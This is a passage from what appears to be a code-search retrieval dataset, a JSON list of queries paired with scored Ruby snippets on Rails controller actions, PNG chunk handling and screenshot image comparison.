"0.59948933", "text": "def show\n @aactio = Aactio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @aactio }\n end\n end", "title": "" }, { "docid": "d9263c1a75eec9e49901534294ab5697", "score": "0.59943587", "text": "def show\n @nyan = Nyan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @nyan }\n end\n end", "title": "" }, { "docid": "a88c829f4228342e1650f4289aef1a30", "score": "0.5992264", "text": "def index\n @acuerdos = Acuerdo.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @acuerdos }\n end\n end", "title": "" }, { "docid": "a37f3388e6a5c83e2d13d9cbd89a8b48", "score": "0.5987991", "text": "def show\n @acd = Acd.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @acd }\n end\n end", "title": "" }, { "docid": "4da57b9e9031917bef893e13c30b343d", "score": "0.59859294", "text": "def show\n @assay = Assay.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assay }\n end\n end", "title": "" }, { "docid": "795b9de04eee9a27f9a8266b035c4bf1", "score": "0.5985522", "text": "def show\n @frais_annex = FraisAnnex.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @frais_annex }\n end\n end", "title": "" }, { "docid": "2b6d13029e61550804e0f689bfc1478c", "score": "0.59824014", "text": "def show\n @amendment = Amendment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @amendment }\n end\n end", "title": "" }, { "docid": "003b60e3c5ddc4383990fe0331422b49", "score": "0.5981128", "text": "def show\n @aliquotum = Aliquotum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @aliquotum }\n end\n end", "title": "" }, { "docid": "7d78d46636cba1a22f0a0d3e3e32b0c4", "score": "0.59792846", "text": "def index\n @dnas = Dna.all\n\n render json: @dnas\n end", "title": "" }, { "docid": "409e6bba7e4dfbcf7753b42970ef9d3d", "score": "0.5975586", "text": "def show\n @consulta = Consulta.find(params[:id])\n\n render json: @consulta\n end", "title": "" }, { "docid": "70a9d23791650ff194a3a0908241fec0", "score": "0.59740883", "text": "def index\n @denuncia = Denuncium.all\n\n render json: @denuncia\n end", "title": "" }, { "docid": "c2907704b1e6cdf463165d72988147fb", "score": "0.5974071", "text": "def show\n @anniversary = Anniversary.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @anniversary }\n end\n end", "title": "" }, { "docid": "b19e967246d70bfe48e01a2601dd9ac5", "score": "0.5973832", "text": "def show\n @canning = Canning.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @canning }\n end\n end", "title": "" } ]
01c2c5ad48315ac517cda1057c4ac6a9
Call to attempt to update chunk if changes to image have been made such that it is safe to copy the chunk to the updated png file. Returns true if successful, otherwise false.
[ { "docid": "1c5fc06514abc61b4620d20630816ba1", "score": "0.0", "text": "def make_safe!\n return false\n end", "title": "" } ]
[ { "docid": "1cfbb0552a257571c82ce8a316d935b0", "score": "0.5751319", "text": "def quick_equal?\n return nil unless old_file_exists?\n return true if new_file_size == old_file_size\n old_file, new_file = load_image_files(@old_file_name, @new_file_name)\n return true if old_file == new_file\n images = load_images(old_file, new_file)\n crop_images(images, @dimensions) if @dimensions\n\n old_img = images.first\n new_img = images.last\n\n return false if sizes_changed?(old_img, new_img)\n\n return true if old_img.pixels == new_img.pixels\n\n @left, @top, @right, @bottom = find_top(old_img, new_img)\n\n return true if @top.nil?\n\n if @area_size_limit\n @left, @top, @right, @bottom = find_diff_rectangle(old_img, new_img)\n return true if size <= @area_size_limit\n end\n\n false\n end", "title": "" }, { "docid": "612bf9d00c2aff2592c946274e8461c9", "score": "0.566065", "text": "def quick_equal?\n return nil unless old_file_exists?\n\n old_image, new_image = preprocess_images vips_load_images(@old_file_name, @new_file_name)\n\n return false if dimension_changed?(old_image, new_image)\n\n diff_mask = VipsUtil.difference_mask(@color_distance_limit, old_image, new_image)\n self.difference_region = VipsUtil.difference_region_by(diff_mask)\n\n return true if difference_region_empty?(new_image)\n\n return true if @area_size_limit && size <= @area_size_limit\n\n return true if @tolerance && @tolerance >= difference_level(diff_mask, old_image)\n\n # TODO: Remove this or find similar solution for vips\n if @shift_distance_limit\n warn '[capybara-screenshot-diff] Instead of shift_distance_limit ' \\\n 'please use median_filter_window_size and color_distance_limit options'\n return true if chunky_png_driver.quick_equal?\n end\n\n false\n end", "title": "" }, { "docid": "43c55652b4fe436ffb19aae1f6cb64c6", "score": "0.5616088", "text": "def image_file_changed?\n raise 'please override image_file_changed?'\n end", "title": "" }, { "docid": "554f129c4084fb7efe5143118e26b20f", "score": "0.5552635", "text": "def update_bitmap\n if @picture.name.empty?\n self.bitmap = nil\n else\n self.bitmap = swap_cache\n self.mirror = false\n end\n end", "title": "" }, { "docid": "d6669fc065b4897f00537345e0291752", "score": "0.554151", "text": "def handle_silent_modification_failure?\n false\n end", "title": "" }, { "docid": "030a337ead0f0324c5dd5b820c9ec0a5", "score": "0.5520522", "text": "def updated?\n @changed_files.clear()\n start_size = @file_cache.size\n listen_for_changes\n end_size = @file_cache.size\n start_size != end_size || !@changed_files.empty?\n end", "title": "" }, { "docid": "d768214b46a3271a6d9018973c9c3027", "score": "0.55154014", "text": "def optimize_image!(original)\n original = ImagePath.new(original)\n if result = optimize_image(original)\n result.replace(original)\n true\n end\n end", "title": "" }, { "docid": "d768214b46a3271a6d9018973c9c3027", "score": "0.55154014", "text": "def optimize_image!(original)\n original = ImagePath.new(original)\n if result = optimize_image(original)\n result.replace(original)\n true\n end\n end", "title": "" }, { "docid": "b6a4d4884a1ef776b4e436e8d52df81e", "score": "0.55108553", "text": "def changed?\n render unless result\n if exist?\n File.read(output) != result\n else\n true\n end\n end", "title": "" }, { "docid": "7f375dc9491c0cadc253a6f70d3c7d91", "score": "0.5510153", "text": "def update_bitmap\n @effectus_old_name = @picture.name\n if @effectus_old_name.empty?\n self.bitmap = nil\n else\n self.bitmap = Cache.picture(@effectus_old_name)\n @effectus_center_x = bitmap.width / 2\n @effectus_center_y = bitmap.height / 2\n end\n end", "title": "" }, { "docid": "126b423ea63dd8f15db9fc5fdc56fb0d", "score": "0.5473548", "text": "def different?\n return nil unless old_file_exists?\n\n images = vips_load_images(@old_file_name, @new_file_name)\n\n old_img, new_img = preprocess_images(images)\n\n if dimension_changed?(old_img, new_img)\n save(new_img, old_img)\n\n self.difference_region = 0, 0, width_for(old_img), height_for(old_img)\n\n return true\n end\n\n diff_mask = VipsUtil.difference_mask(@color_distance_limit, old_img, new_img)\n self.difference_region = VipsUtil.difference_region_by(diff_mask)\n\n return not_different if difference_region_empty?(old_img)\n return not_different if @area_size_limit && size <= @area_size_limit\n return not_different if @tolerance && @tolerance > difference_level(diff_mask, old_img)\n\n # TODO: Remove this or find similar solution for vips\n if @shift_distance_limit\n warn '[capybara-screenshot-diff] Instead of shift_distance_limit ' \\\n 'please use median_filter_window_size and color_distance_limit options'\n return not_different unless chunky_png_driver.different?\n end\n\n annotate_and_save(images)\n\n true\n end", "title": "" }, { "docid": "ce35badb4c2a8212b6eb0856842bfc8a", "score": "0.54681146", "text": "def better?(new_image)\n image.size < MIN_GOOD_IMAGE_SIZE &&\n new_image.size > image.size\n end", "title": "" }, { "docid": "982ae50c1b58f92fff31ab00031d1959", "score": "0.5453368", "text": "def pics_updated?\n pics(latest_local[:timestamp], latest_remote) unless up_to_date?\n end", "title": "" }, { "docid": "8424004311ca28c6003963b39d24f20d", "score": "0.54439914", "text": "def fresh?(thing)\n if thing.is_a?(Sprite) and not thing.save_path.file?\n # If this is a data URI sprite a non-existent file is normal.\n if ! @project || ! @project.data_uri_sprites.include?(thing)\n return false\n end\n end\n\n return false if thing.is_a?(Pathname) and not thing.cleanpath.file?\n\n @cache[section(thing)][key(thing)] == digest(thing)\n end", "title": "" }, { "docid": "9efde121eaa3d7ef118bc279042e5ae5", "score": "0.54398257", "text": "def different?\n return nil unless old_file_exists?\n\n old_file, new_file = load_image_files(@old_file_name, @new_file_name)\n\n return not_different if old_file == new_file\n\n images = load_images(old_file, new_file)\n\n crop_images(images, @dimensions) if @dimensions\n\n old_img = images.first\n new_img = images.last\n\n if sizes_changed?(old_img, new_img)\n save_images(@annotated_new_file_name, new_img, @annotated_old_file_name, old_img)\n @left = 0\n @top = 0\n @right = old_img.dimension.width - 1\n @bottom = old_img.dimension.height - 1\n return true\n end\n\n return not_different if old_img.pixels == new_img.pixels\n\n @left, @top, @right, @bottom = find_diff_rectangle(old_img, new_img)\n\n return not_different if @top.nil?\n\n return not_different if @area_size_limit && size <= @area_size_limit\n\n annotated_old_img, annotated_new_img = draw_rectangles(images, @bottom, @left, @right, @top)\n\n save_images(@annotated_new_file_name, annotated_new_img,\n @annotated_old_file_name, annotated_old_img)\n true\n end", "title": "" }, { "docid": "ba00cc6298919ad4fe46c33e1ff93bf5", "score": "0.5427711", "text": "def image_work?\n true\n end", "title": "" }, { "docid": "db27004f578929420d46a39ece72b7d7", "score": "0.5423579", "text": "def process_image(strip: false)\n result = true\n if new_record?\n errors.add(:image, \"Called process_image before saving image record.\")\n result = false\n elsif save_to_temp_file\n ext = original_extension\n set_image_size(upload_temp_file) if ext == \"jpg\"\n set = width.nil? ? \"1\" : \"0\"\n update_attribute(:gps_stripped, true) if strip\n strip = strip ? \"1\" : \"0\"\n if move_original\n cmd = MO.process_image_command.\n gsub(\"<id>\", id.to_s).\n gsub(\"<ext>\", ext).\n gsub(\"<set>\", set).\n gsub(\"<strip>\", strip)\n if !Rails.env.test? && !system(cmd)\n errors.add(:image, :runtime_image_process_failed.t(id: id))\n result = false\n end\n else\n result = false\n end\n end\n result\n end", "title": "" }, { "docid": "23aec5bb38c5ea0b0be987257a35f81a", "score": "0.5409102", "text": "def is_processed?\n self.asset_clone_id.present? && self.asset_clone.present? ? self.asset_clone.processed : self.processed\n end", "title": "" }, { "docid": "d48cb5783c053ded03a31ea415e91bb8", "score": "0.5404502", "text": "def image_changed?\n self.image_file_name_changed? ||\n self.image_content_type_changed?\n end", "title": "" }, { "docid": "881c52822c5901959eb150ace98e5f60", "score": "0.5392695", "text": "def update!\n write_to_disk ? true : false\n end", "title": "" }, { "docid": "50578e4386febf63272130a5a1ae5a11", "score": "0.5388938", "text": "def image_processing?\n !image_tmp.blank?\n end", "title": "" }, { "docid": "b60556b327e4b8ae2c277d202a98cab7", "score": "0.53704685", "text": "def fully_copied?(item)\n base = File.basename(item.to_s.chomp)\n cmd = \"#{@rsync_cmd} --dry-run #{@origin}/#{base} #{@dst}\"\n SingleLogger.instance.info cmd\n r_output = `#{cmd}`\n lines = r_output.split(\"\\n\")\n lines.size == 4 && lines[1] == \"\"\n end", "title": "" }, { "docid": "582e99b2d7e95c68646833773dbfb975", "score": "0.5361717", "text": "def image_sweep?\n results = false\n all_contents = \"\"\n for attribute in self.image_containers\n contents = self.send(attribute)\n if !contents.blank?\n new_matches = contents.scan(/\\/stored_images\\/[\\w]*\\/[\\w. ]*/)\n results = true if new_matches.length > 0 \n all_contents += contents\n end\n end\n pwd = Dir.pwd\n image_dir = \"#{RAILS_ROOT}/public/assets/#{self.class.to_s.pluralize.underscore}/#{self.id}/contained_images\"\n FileUtils.mkdir_p(image_dir) unless File.directory?(image_dir)\n Dir.chdir image_dir\n files = Dir.glob(\"*\")\n for file in files\n FileUtils.rm(File.join(image_dir, file)) unless all_contents.include?(file)\n end\n Dir.chdir pwd\n return results\n end", "title": "" }, { "docid": "3d2679221bfb7525841f4c737e25b69c", "score": "0.5345079", "text": "def update_bitmap\n if @picture.name.empty?\n self.bitmap = nil\n else\n self.bitmap = swap_cache(@picture.name)\n end\n end", "title": "" }, { "docid": "203e98d250fa9f84fcd20838466634cf", "score": "0.53434116", "text": "def successful_conversion?\n source = File.join(\"tmp\", \"#{@user.screen_name}_full_size\")\n full_size = File.join(DIRECTORY, filename)\n thumbnail = File.join(DIRECTORY, thumbnail_name)\n File.open(source, \"wb\") { |f| f.write(@image.read) }\n img = system(\"#{convert} #{source} -resize #{IMG_SIZE} #{full_size}\")\n thumb = system(\"#{convert} #{source} -resize #{THUMB_SIZE} #{thumbnail}\")\n File.delete(source) if File.exists?(source)\n unless img and thumb\n errors.add_to_base(\"File upload failed: Try a different image\")\n return false\n end\n return true\n end", "title": "" }, { "docid": "0050121995d0b734ba111e1be373e4b9", "score": "0.53129524", "text": "def perform\n puts \">>>>>>>>>>>>>>>>>>>>>>>>>>>>> Validating picurl with url '#{url}' and picurl '#{picurl}'\"\n thumbnail.update_thumb if thumbnail\n end", "title": "" }, { "docid": "c4f924900d4a2c0ab504564c85cdd3d8", "score": "0.5293026", "text": "def corrupted?(image)\n ::MiniMagick::Tool::Identify.new do |identify|\n identify.verbose\n identify.regard_warnings\n identify << image.path\n end\n false\n rescue ::MiniMagick::Error\n true\n end", "title": "" }, { "docid": "af492426caaa62e17e201586a80a0068", "score": "0.52921826", "text": "def dirty?\n return true unless test(?e, destination)\n @mtime > ::File.mtime(destination)\n end", "title": "" }, { "docid": "6efee7abbdbea7e45beee607c1dc5c4f", "score": "0.5284661", "text": "def should_copy?(source, target)\n return true\n return true if !File.exists?(target)\n\n source_sha = Digest::SHA1.hexdigest(File.read(source))\n target_sha = Digest::SHA1.hexdigest(File.read(target))\n \n debugger if source_sha != target_sha\n \n return true if source_sha == target_sha\n \n return false\n end", "title": "" }, { "docid": "de9c6dc17b09a0057b7a6f8f9f75ed04", "score": "0.5269103", "text": "def png?\n \n if @tmpfile \n begin\n image = ChunkyPNG::Image.from_file(@tmpfile.path)\n return true if image\n rescue\n return false\n end\n end\n \n return @png if @png\n return false if location.empty?\n\n # # ... \n\n return true if location =~ /[.]png$/\n \n begin\n response = RestClient.head(location)\n return true if response.headers['content-type'] == 'image/png'\n rescue\n return false\n end\n \n return false\n \n end", "title": "" }, { "docid": "6d411fef0651bfc366bc356a8d9099bc", "score": "0.5259257", "text": "def dirty?\n return _meta_data['dirty'] if _meta_data.has_key? 'dirty'\n\n # if the destination file does not exist, then we are dirty\n return true unless test(?e, destination)\n\n # if this file's mtime is larger than the destination file's\n # mtime, then we are dirty\n dirty = @mtime > ::File.mtime(destination)\n return dirty if dirty\n\n # check to see if the layout is dirty, and if it is then we\n # are dirty, too\n if _meta_data.has_key? 'layout'\n lyt = ::Webby::Resources.find_layout(_meta_data['layout'])\n unless lyt.nil?\n return true if lyt.dirty?\n end\n end\n\n # if we got here, then we are not dirty\n false\n end", "title": "" }, { "docid": "f10bde45cff8fcb2549ba00d17f4036b", "score": "0.52574116", "text": "def promote?(uploaded_file)\n uploaded_file && cache.uploaded?(uploaded_file)\n end", "title": "" }, { "docid": "12ecd5b50fa678781186124773d5e71e", "score": "0.5244563", "text": "def source_modified_or_dest_missing?(source_path, dest_path); end", "title": "" }, { "docid": "7d88a1c610659fa6f82e8b2c31ea78ca", "score": "0.5242643", "text": "def changing? file_uri\n result = false\n @change_semaphore.synchronize do\n result = unsafe_changing?(file_uri)\n end\n result\n end", "title": "" }, { "docid": "44e44f648bf72e2315d41c6301a28ad9", "score": "0.52387685", "text": "def needCopy(destItem,srcItem)\n oldfile = !FiRe::filesys.uptodate?(destItem,srcItem)\n missingfile = !FiRe::filesys.exist?(destItem) || smaller?(destItem,srcItem)\n\n if !(oldfile || missingfile)\n FiRe::log.debug \"item already there! [#{srcItem}]\"\n end\n \n oldfile || missingfile\n \n end", "title": "" }, { "docid": "71c2c564851749226bcf0d864a115b17", "score": "0.52385175", "text": "def force_on_collision?\n base.shell.file_collision(destination){ render }\n end", "title": "" }, { "docid": "36b36c99d98bde4e006c9eb8ce0c48d3", "score": "0.5232362", "text": "def dirty?\n super || run_once(true) { dirty_embedments? }\n end", "title": "" }, { "docid": "b3153b617dc61a942043a43da0fab1ef", "score": "0.5226346", "text": "def compare_images(actual, expected, diff_image, image_difference_percentage_tolerance)\n images = [\n ChunkyPNG::Image.from_file(actual),\n ChunkyPNG::Image.from_file(expected)\n ]\n\n diff = []\n\n images.first.height.times do |y|\n images.first.row(y).each_with_index do |pixel, x|\n diff << [x, y] unless pixel == images.last[x, y]\n end\n end\n\n diff_percent = (diff.length.to_f / images.first.pixels.length) * 100\n\n if diff_percent > image_difference_percentage_tolerance\n x, y = diff.map { |xy| xy[0] }, diff.map { |xy| xy[1] }\n\n images.last.rect(x.min, y.min, x.max, y.max, ChunkyPNG::Color.rgb(0, 255, 0))\n images.last.save(diff_image)\n puts \"pixels (total): #{images.first.pixels.length}\"\n puts \"pixels changed: #{diff.length}\"\n puts \"pixels changed (%): #{diff_percent}%\"\n embed(diff_image, 'image/png', 'diff-screenshot')\n fail \"Images are not within the tolerence of #{image_difference_percentage_tolerance}%\"\n end\nend", "title": "" }, { "docid": "27c317850f87167a4163843cbf68d8d4", "score": "0.52193487", "text": "def check_for_changes\n\t\t\t# Check on disk changes\n\t\t\tunless @disks[0][:changes] == false\n\t\t\t\t\t$log.info \"Cachefile changed by user. Honoring changes.\"\n\t\t\t\t\t@disks[0][:changes] = false\n\t\t\t\t\twrite_disk_cache\n\t\t\t\t\treturn true\n\t\t\tend\n\t\t\treturn false\n\t\tend", "title": "" }, { "docid": "49096d538d05c343516dc1b9454210fa", "score": "0.5217924", "text": "def add(chunk)\n if chunk.full_chunk?\n @chunks[chunk.x / 16] ||= {}\n # if @chunks[chunk.x / 16][chunk.z / 16]\n # puts \"replacing: #{[chunk.x, chunk.z].inspect}\"\n # else\n # puts \"adding : #{[chunk.x, chunk.z].inspect}\"\n # end\n @chunks[chunk.x / 16][chunk.z / 16] = chunk\n\n key = [chunk.x/16, chunk.z/16]\n\n if @pending_changes[key]\n @pending_changes[key].each do |x, y, z, block|\n # puts \"applying stored change #{[x, y, z].inspect} #{block}\"\n self[x, y, z] = block\n end\n @pending_changes.delete key\n end\n\n if @pending_updates[key]\n @pending_updates[key].each do |x, y, z, data|\n # puts \"applying stored update #{[x,y,z].inspect} #{data}\"\n update(x, y, z, data)\n @pending_updates.delete key\n end\n end\n\n else\n # puts \"incremental: #{[chunk.x, chunk.y, chunk.z].inspect} #{[chunk.size_x, chunk.size_y, chunk.size_z].inspect}\"\n chunk.each_column do |x, y, z, data|\n # puts \"updating #{[x,y,z].inspect} #{data.size} blocks\"\n update(x, y, z, data)\n end\n end\n end", "title": "" }, { "docid": "a23aeaabe473a9ab94950d3cd98026d0", "score": "0.52127725", "text": "def check_for_update\n file = download_file(UPSTREAM_DATABASE[:URL], Dir.mktmpdir)\n # Same hash = no update\n !check_hash(file, UPSTREAM_DATABASE[:HASH])\n end", "title": "" }, { "docid": "0b11db5af1e8a6566b9622b415abfe0f", "score": "0.52061117", "text": "def update_bitmap\n if graphic_changed?\n @tile_id = @character.tile_id\n @character_name = @character.character_name\n @character_index = @character.character_index\n if @tile_id > 0\n set_tile_bitmap\n else\n set_character_bitmap\n end\n end\n end", "title": "" }, { "docid": "a8d9573fe5ea5978885d4ff650c17306", "score": "0.5196578", "text": "def identical?\n exists? && File.identical?(render, destination)\n end", "title": "" }, { "docid": "e802bd8c9c9065b4e455067390e6fcd8", "score": "0.5182362", "text": "def process\n @src ||= @original\n @dst ||= @original.temp_path\n\n return unless yield @src, @dst\n\n @result = @dst\n if @src == @original\n @src, @dst = @dst, nil\n else\n @src, @dst = @dst, @src\n end\n end", "title": "" }, { "docid": "5f5da6fab6dd59ad4ce9a59fa4675cad", "score": "0.5181886", "text": "def check_is_change_image_request\n if params[:change_img]\n p = Paragraph.find(params[:change_img].keys.first)\n p.images = []\n p.save\n end\n end", "title": "" }, { "docid": "982627da38f9e270152ed1028664c712", "score": "0.51705724", "text": "def corrupt?\n checksum_invalid? || torn? || misplaced?\n end", "title": "" }, { "docid": "4183508b48283d905797ae8b71810fe4", "score": "0.5168884", "text": "def remove_repository_cache?\n !copy_cache\n end", "title": "" }, { "docid": "0166f520abbd015da6124458be09100c", "score": "0.51587063", "text": "def cp_if_necessary(src, dst, owner = nil, mode = nil)\n if !File.exists?(dst) || different?(src, dst)\n cp(src, dst, owner, mode)\n true\n end\n end", "title": "" }, { "docid": "766d3b5e82ae9d4ed1c7880aaaf0f96d", "score": "0.51514393", "text": "def check_files\n updated = []\n files.each do |filename, mtime| \n begin\n current_mtime = File.stat(filename).mtime\n rescue Errno::ENOENT\n # file was not found and was probably deleted\n # remove the file from the file list \n files.delete(filename)\n next\n end\n if current_mtime != mtime \n updated << filename\n # update the mtime in file registry so we it's only send once\n files[filename] = current_mtime\n puts \"quick_serve: spotted change in #{filename}\"\n end\n end\n QuickServe::Rails::Snapshot.reset if updated != []\n false\n end", "title": "" }, { "docid": "9defef6f1d5594eee7b7124f90d0524a", "score": "0.5145156", "text": "def can_update?\n asset_event_type.active && transam_asset.replacement_status_type_id != ReplacementStatusType.find_by(name: 'Pinned').id\n end", "title": "" }, { "docid": "f516cc59d9b249b247be711bc3253be3", "score": "0.51429373", "text": "def check\n `mkdir #{@destination_folder}` unless File.directory?(@destination_folder)\n if File.exists?(\"#{@destination_folder}/#{@prefix}#{@no}.png\") \n @no += 1\n check\n end\n end", "title": "" }, { "docid": "48ae2d639093c32c0106777c4c2a35c6", "score": "0.5136998", "text": "def _apply_heuristics io, prev_chunk, chunk\n prev_pos = io.tell\n HEUR_CHUNK_SIZE_RANGE.each do |delta|\n next if delta == 0\n next if prev_chunk.data.size + delta < 0\n io.seek(chunk.offset+delta, IO::SEEK_SET)\n potential_chunk = Chunk.new(io)\n if potential_chunk.valid?\n STDERR.puts \"[!] heuristics: found invalid #{chunk.type.inspect} chunk at offset #{chunk.offset}, but valid #{potential_chunk.type.inspect} at #{chunk.offset+delta}. using latter\".red\n if delta > 0\n io.seek(chunk.offset, IO::SEEK_SET)\n data = io.read(delta)\n STDERR.puts \"[!] #{delta} extra bytes of data: #{data.inspect}\".red\n else\n io.seek(chunk.offset+delta, IO::SEEK_SET)\n end\n return true\n end\n end\n false\n end", "title": "" }, { "docid": "eeb876c0f2f50a089ea23647cac456a7", "score": "0.5102165", "text": "def update\r\n super\r\n # Try to load the new file if the name is different\r\n if @picture_name != @picture.name\r\n @picture_name = @picture.name\r\n load_bitmap\r\n end\r\n # Don't update if the name is empty\r\n if @picture_name.empty?\r\n self.visible = false\r\n return\r\n end\r\n self.visible = true\r\n\r\n update_properties\r\n update_gif if @gif_handle\r\n end", "title": "" }, { "docid": "ad68767b4930a35b8ee8a6c3c8fcd963", "score": "0.50987864", "text": "def test_reuse_existing_chunks_when_append\n CheckFile @writer, @ioservice, @adlers, 'test content', ['test ', 'conte', 'nt']\n CheckFile @writer, @ioservice, @adlers, 'test content updated', ['test ', 'conte', 'nt', ' upda', 'ted']\n end", "title": "" }, { "docid": "98947c366c17bfa56845d949a7d19782", "score": "0.50957364", "text": "def test_chrm_chunk\n\n each_file_with_updated_info do\n |file_path|\n\n if @test_feature == \"c\" && @parameter[0] == \"c\"\n img = Imgrb::Image.new(file_path, :only_metadata)\n assert_equal [0.3127, 0.3290, 0.64, 0.33, 0.30, 0.60, 0.15, 0.06],\n img.ancillary_chunks[:cHRM][0].get_data\n end\n end\n\n\n img = Imgrb::Image.new(10, 10, [255,155,55])\n chrm_dat = [0.42, 0.32, 0.22, 0.11, 0.55, 0.44, 0.33, 0.22]\n chrm = Imgrb::Chunks::ChunkcHRM.assemble(*chrm_dat)\n img.add_chunk(chrm)\n\n png_str = save_png_to_string(img)\n img_saved = Imgrb::Image.new(png_str, :from_string)\n chrm_dat_saved = img_saved.ancillary_chunks[:cHRM][0].get_data\n\n assert_equal chrm_dat, chrm_dat_saved\n\n end", "title": "" }, { "docid": "12bf95ea97e893f77350b647409e615b", "score": "0.50924796", "text": "def load_image_from_disk(path)\n return true if @load_image_from_disk == path\n @load_image_from_disk = path\n debug \"Loading image at #{path}\", \"loading_img\"\n # Destroy old image\n @orig.each { |x| x.destroy! } if @orig != nil\n # Load new IMG\n if File.exists?(path)\n @orig = Magick::ImageList.new(path)\n @dpifix = @orig[0].dpifix\n else\n # This is a small tweak that at least doesn't crash the\n # application. It provides no info for the user what\n # went wrong, but that shouldn't happen.\n debug \"ERROR: Image File not found: \" + path\n return false\n end\n debug \"Loaded image\", \"loading_img\"\n true\n end", "title": "" }, { "docid": "5199fc1efdbb0f52679ed87f806bb3a4", "score": "0.5088254", "text": "def sync_thumbnails(entity_user)\n document_versions = api(entity_user).get_versions_list({ id: see_unity_imanage_version_object[\"document\"][\"EID\"] })\n dms_version = document_versions.find{ |version| version[\"VersionLabel\"] == see_unity_imanage_version_object[\"VersionLabel\"] }\n dms_version_edit_date = dms_version[\"Properties\"].find{ |property| property[\"Field\"] == \"Edit Date\" }[\"Value\"]\n doxly_version_edit_date = see_unity_imanage_version_object[\"Properties\"].find{|property| property[\"Field\"] == \"Edit Date\"}[\"Value\"]\n version_updated = dms_version_edit_date != doxly_version_edit_date\n if version_updated\n cached_original_aws_file.destroy\n cached_converted_aws_file.destroy\n reload\n download_and_convert({ convert: true, synchronous_thumbnails: true })\n # TODO if ever get back to this, update see_unity_imanage_version_object first.\n updated_edit_date = see_unity_imanage_version_object[\"Properties\"].find{|property| property[\"Field\"] == \"Edit Date\"}[\"Value\"]\n # success criteria below\n return updated_edit_date != doxly_version_edit_date\n else\n return true\n end\n end", "title": "" }, { "docid": "53258386d8eb1fbecb8a74b26bc96e20", "score": "0.5081975", "text": "def checkforChange(filepath)\n size1 = File.size(filepath)\n sleep 5\n size2 = File.size(filepath)\n if size1 == size2\n 0\n else\n 1\n end\nend", "title": "" }, { "docid": "aeb7eed3fdffd644380cf7105d488415", "score": "0.50817674", "text": "def mirror_move_affected?\n return data.mirror_move\n end", "title": "" }, { "docid": "1313b96da39c6628aa8c6dd70bc1bb4c", "score": "0.5065478", "text": "def graphic_changed?\n @tile_id != @character.tile_id ||\n @character_name != @character.character_name ||\n @character_index != @character.character_index ||\n (@character.moving? && @character_bitmap_name != \"\" && @character_bitmap_name.include?(\"_STATIC\") && @character.anime_count > 0) ||\n (!@character.moving? && @character_bitmap_name != \"\" && !@character_bitmap_name.include?(\"_STATIC\") && @character.stop_count > 0)\n end", "title": "" }, { "docid": "7ed28f611ab505f360e65312c4ed9184", "score": "0.5056926", "text": "def test_add_transparency_chunk\n img = Imgrb::Image.new(41,41,0)\n transparency_chunk = Imgrb::Chunks::ChunktRNS.assemble(0,:indexed)\n img.add_chunk(transparency_chunk)\n\n png_str = save_png_to_string(img, 1)\n img_saved = Imgrb::Image.new(png_str, :from_string)\n\n assert img_saved.has_alpha?\n end", "title": "" }, { "docid": "29d3e62a8d69b1a69a16892feb57ea73", "score": "0.50540525", "text": "def dirty?(dump=self.dump)\n @remote_dump != dump\n end", "title": "" }, { "docid": "e7af0df8aee64dbbbc26ca817945bfc1", "score": "0.5052327", "text": "def update_image image\n temp_path = @image_folder.detect{|image_string| image_string.downcase == \"#{@image_path}/#{image.image_file_name}\".downcase}\n filename = File.basename(temp_path)\n image.image_number = @img_count\n\n @img_count += 1\n if temp_path.blank?\n InputBatch::Log.status_log.error \">>>>>>>>Image #{filename} not found<<<<<<<<<\"\n puts \">>>>>>>>>>>>Image #{filename} not found\"\n InputBatch::Log.error_log.error \"Error on line #{@row_index} : Image #{filename} not found\"\n else\n InputBatch::Log.status_log.info \"Image #{filename} found\"\n image.page_count = %x[identify #{temp_path}].split(filename).length-1 rescue nil\n end\n\n rename_image image if facility.index_file_parser_type == \"WellsFargo_bank\"\n return image\n end", "title": "" }, { "docid": "f4edbbefdc7b1c7903dfabc997a6afbf", "score": "0.5051033", "text": "def not_image?(new_file)\n !self.file.content_type.include? 'image'\n end", "title": "" }, { "docid": "606dbd2c6ef40615168e374059a4c1ae", "score": "0.5048079", "text": "def content_modified?\n self.content_hash.nil? || self.content_hash != calculate_content_hash\n end", "title": "" }, { "docid": "2238891cc261e9e86a41b5a17b7a42a3", "score": "0.5044729", "text": "def valid?\n !(image_too_small? || image_too_big?)\n end", "title": "" }, { "docid": "c7c8f7502bbeaf91c01f6a0980439df4", "score": "0.50406027", "text": "def should_process? \n #return false if it has been set to skip processing \n return false if self.persistence_checksum.eql?(\"skip\")\n\n #return true if there are different number of craft files than records of craft that are not marked as deleted\n craft_files = campaigns_instance.identify_craft_in(self.name)\n craft = self.craft.where(:deleted => false) #if craft.nil?\n return true if craft_files.map{|k,v| v}.flatten.size != craft.count\n\n #return true if the stored checksum for persistent.sfs does not match the one generated for the current persistent.sfs\n Dir.chdir(self.path)\n return true unless File.exists?(\"persistent.sfs\")\n checksum = Digest::SHA256.file(\"persistent.sfs\").hexdigest\n not checksum.eql?(self.persistence_checksum)\n end", "title": "" }, { "docid": "88c6cb8ba27daf4cf7a5f95108fe16dd", "score": "0.50398296", "text": "def each_chunk\n iend_reached = false\n File.open(@file_path, 'rb') do |file|\n # check if file is not PNG at all\n return false if file.read(8) != PNG_MAGIC_NUMBER\n\n chunks = 0\n\n # We could be dealing with large number of chunks,\n # so the code should be optimized to create as few objects as possible.\n # All literal strings are frozen and read() function uses string buffer.\n chunkheader = ''\n while file.read(8, chunkheader)\n # ensure that first 8 bytes from chunk were read properly\n if chunkheader.nil? || chunkheader.length < 8\n return false\n end\n\n current_pos = file.tell\n\n chunk_len, chunk_name = chunkheader.unpack(\"Na4\".freeze)\n return false if chunk_name =~ /[^A-Za-z]/\n yield chunk_name, chunk_len, file\n\n # no need to read further if IEND is reached\n if chunk_name == \"IEND\".freeze\n iend_reached = true\n break\n end\n\n # check if we processed too many chunks already\n # if we did, file is probably maliciously formed\n # fail gracefully without marking the file as corrupt\n chunks += 1\n if chunks > 100_000\n iend_reached = true\n break\n end\n\n # jump to the next chunk - go forward by chunk length + 4 